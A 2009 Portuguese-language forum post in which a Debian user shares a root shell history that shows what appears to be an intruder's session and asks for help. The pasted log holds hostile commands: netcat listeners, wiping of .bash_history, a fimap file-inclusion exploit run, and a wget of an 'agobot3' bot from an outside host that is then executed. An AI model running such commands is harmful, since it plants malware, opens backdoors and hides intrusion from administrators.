Coisas estranhas, Ajuda

bonanati
(usa Debian)

Enviado em 23/10/2009 - 10:04h

olá pessoal, editei o arquivo /root/.bash_history e tem coisas que não fiz, estou achando que foi invasão.. irei passar meu bash_history

--------------------------------------
last
w
sync64 115.84.182.227
w
ps aux
nc -v -n -l -p 1212
w
cat /root/.bash_history
echo cat /root/.bash_history >/root/.bash_history
echo "">/root/.bash_history
w
nc -v -l -p 1212
nc -v -l -p 1212
ps aux
w
cat/root.bash
cat /root/.bash_history
last
sync64 cs-tor.bu.edu
last
locate mysql.conf
locate my.conf
locate my.*
locate mysql
vi /etc/mysql//my.cnf
locate pure*
locate php.ini
locate Php.ini
locate php
cd /var/www
ls
cd ..
ls
cd log
ls
wget http://fimap.googlecode.com/files/fimap_alpha_v05.tar.gz
tar -xvzf imap*
tar -xvzf fima*
ls
cd fim*
ls
./fimap.py
./fimap.py -u "http://localhost/vulnerable.php?inc=index.php"
~ls
ls
./configure
./config.py
chmod 777 *
./config.py
ls
uname -a
cd /tmp
mkdir work
cd work
wget http://www.rosssyndicate.com/.npe/agobot3
chmod +x agobot3
./agobot3
exit
exit
--------------------------------